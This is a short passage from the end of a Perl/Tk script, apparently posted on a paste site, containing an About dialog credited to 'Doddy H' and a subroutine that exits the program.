  1834. sub menu_about {
  1835. $mejor->Dialog(-title=>"About",-buttons=>["OK"],-text=>"Coded By Doddy H",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1836. }
  1837.  
  1838. sub menu_exit {
  1839. exit(1);
  1840. }
  1841.  
  1842. #The End ?
Add Comment
Please, Sign In to add comment